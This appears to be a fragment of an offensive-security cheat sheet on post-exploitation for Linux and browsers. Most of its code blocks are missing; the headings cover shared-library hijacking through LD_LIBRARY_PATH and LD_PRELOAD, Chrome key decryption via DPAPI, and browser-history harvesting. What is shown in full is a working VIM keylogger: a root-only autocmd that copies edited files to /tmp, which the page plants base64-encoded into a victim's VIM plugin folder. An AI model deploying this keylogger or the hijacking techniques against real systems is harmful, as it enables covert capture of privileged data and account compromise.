Post Exploitation
General Post Exploitation
Linux
Search SSH logs for connection source IPs:
$ sudo zgrep -ah sshd /var/log/auth.log* | grep AcceptedVIM Keylogger
Create a VIM config that will save contents of a modified file when ran with sudo:
:if $USER == "root"
:autocmd BufWritePost * :silent :w! >> /tmp/tmp0x031337
:endif$ sudo -u victim mkdir -p /home/victim/.vim/plugin
$ sudo -u victim bash -c 'echo -n OmlmICRVU0VSID09ICJyb290Igo6YXV0b2NtZCBCdWZXcml0ZVBvc3QgKiA6c2lsZW50IDp3ISA+PiAvdG1wL3RtcDB4MDMxMzM3CjplbmRpZgo=|base64 -d > /home/victim/.vim/plugin/settings.vim'Shared Libraries Hijacking
LD_LIBRARY_PATH
LD_LIBRARY_PATHFor example, target executable will be /usr/bin/top.
Code skeleton:
Get all shared libraries loaded by target executable:
We'll be targeting the libgpg-error.so.0 library. Include defined symbols of the original library in our custom library:
Create a map file with version information of defined symbols:
Prepare the listener, compile, export LD_LIBRARY_PATH and run top:
LD_PRELOAD
LD_PRELOADFor example, target executable will be /bin/cp.
Determine which functions are executed by /bin/cp via LD_PRELOAD:
We'll be hooking the getuid() function:
Compile:
Create an evil alias to preserve environment variables when running cp with sudo (good candidates are .bashrc and .bash_profile):
Run the target executable:
Browsers
Chrome / Chromium
Local State Key Decryption (v20+)
Local state key manual decryption (via DPAPI):
App-bound local state key manual decryption (via DPAPI) doing LocalSystem to User context swap:
Tools
Mass History Harvesting
Collect SQLite history DBs:
Impacket's smbclient.py extension and parsing code to extract latest visits per a domain from urls table:
Yandex Browser
Tools
cookie_crimes
CursedChrome
Last updated